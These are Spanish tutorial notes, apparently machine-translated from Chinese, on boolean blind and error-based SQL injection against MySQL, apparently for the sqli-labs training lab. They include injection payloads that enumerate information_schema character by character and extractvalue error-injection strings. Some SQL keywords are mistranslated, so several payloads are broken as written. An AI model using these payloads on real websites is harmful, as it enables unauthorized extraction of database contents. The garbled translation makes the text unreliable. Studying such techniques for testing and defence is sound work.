1. Basado en el juicio lógico de construcción de notas ciegas sql booleano
Tres funciones de truncamiento Función
Mid ()
MID (database (), 1,1)> 'a' Ver el primer lugar del nombre de la base de datos
MID (column_name, start, [length 】)
Nota: la longitud es opcional y por defecto es el texto restante;
La función substr
Substr () La función substring () logra la misma función, todas las cuales son cadenas truncadas.
substr (database (), 1,)> 'a' Ver el primer lugar del nombre de la base de datos, start es la posición inicial y length es la longitud interceptada.
La función Left ()
obtiene el número especificado de caracteres a la
izquierda de la cadena left (cadena, n) srting es la cadena que se truncará y n es la longitud.
left (database (), 2)> 'ab' Ver los 2 dígitos superiores del nombre de la base de datos
Al mismo tiempo, también debemos introducir la función ORD (). El código ascii del primer carácter devuelto por el segundo y el libro se suele usar en combinación con las funciones anteriores.
Por ejemplo, ORD (MID (DATABASE (), 1,1))> 114
La expresión regular ataca la
información en mysql5 + -todos los nombres de la biblioteca, los nombres de las tablas y los nombres de los campos se almacenan en la biblioteca de esquemas. Por tanto, el método de ataque es el siguiente:
1. Determine si el primer carácter del nombre de la primera tabla es un carácter en az, donde blind_sqli es el nombre de la biblioteca asumiendo el mismo.
Nota: 1 en la expresión regular significa que el carácter inicial de la cadena está en el rango de az
index.php? Id = 1 y 1 = 1 = (seleccione 1 de information_schema.tables donde table_schema = "blind_sqli" ANd table_name REGEXP ' 2 ' límite 0 , 1)
2. Determine si el primer carácter es un personaje en un si no está en oz
index.php? id = 1 y 1 = (seleccione 1 de information_schema.tables donde table_schema = "blind_sqli" AND table_name REGEXP '^ [an [] límite 0,1)
Después de reemplazar la siguiente expresión:
expresión El como este: n- ^ [AZ] -> NE [AZ] -> nuevo nuevo [AZ] -> Noticias [AZ] -> FALSO
Entonces las únicas otras tablas
Los experimentos muestran que en la expresión anterior, bajo llimit0,1, regexp coincidirá con todos los elementos, incluidos el correo electrónico y los usuarios, debajo de la tabla de seguridad. De hecho, el límite 0,1 es para donde table_schema = 'security' limit 0 , 1. Y table_schema = 'security' ya ha jugado un papel limitante, por lo que no importa si hay límite o no.
menos 5 persianas
Obtener el primer carácter de la primera tabla de la base de datos de seguridad
? Id = 1 'y ascii (substr ((seleccione table_name de information_schema.tables donde table_schema = database () limit 0,1), 1,1))% 3E108-- +
Usando esto como punto de referencia, siga repitiendo y recreando ruedas
substr (, 2,1);
substr (, 3,1);
…
consejos:
valor ASCII:
az: 97-122
AZ: 65-90
0-9: 48-57
Inyección de error
uname=admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1